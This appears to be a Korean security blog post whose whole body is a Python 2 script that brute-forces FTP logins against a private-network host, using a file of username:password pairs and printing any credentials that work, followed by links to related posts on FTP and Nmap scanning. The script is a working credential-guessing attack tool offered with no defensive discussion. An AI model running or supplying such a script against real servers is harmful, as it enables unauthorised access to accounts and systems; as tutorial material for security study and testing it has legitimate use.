import ftplib, time
def bruteLogin(hostname, passwdFile):
pF = open(passwdFile, 'r')
for line in pF.readlines():
time.sleep(1)
userName = line.split(':')[0]
passWord = line.split(':')[1].strip('\r').strip('\n')
print "[+] Trying: "+userName+"/"+passWord
try:
ftp = ftplib.FTP(hostname)
ftp.login(userName, passWord)
print '\n[*] ' + str(hostname) +\
' FTP Logon Succeeded: '+userName+"/"+passWord
ftp.quit()
return (userName, passWord)
except Exception, e:
pass
print '\n[-] Could not brute force FTP credentials.'
return (None, None)
host = '192.168.95.179'
passwdFile = 'userpass.txt' # 다수의 ID:PW로 구성된 txt 파일
bruteLogin(host, passwdFile)
'Information Security > Network Security' 카테고리의 다른 글
AP의 물리적 위치 확인: 위글닷넷(Wigle.net) (0) | 2019.08.27 |
---|---|
[Python-익명FTP 스캐너] 파이썬으로 익명 FTP 스캔하기 (0) | 2019.08.27 |
[Python-Nmap 포트 스캐너] 파이썬으로 Nmap 포트 스캔하기 (0) | 2019.08.16 |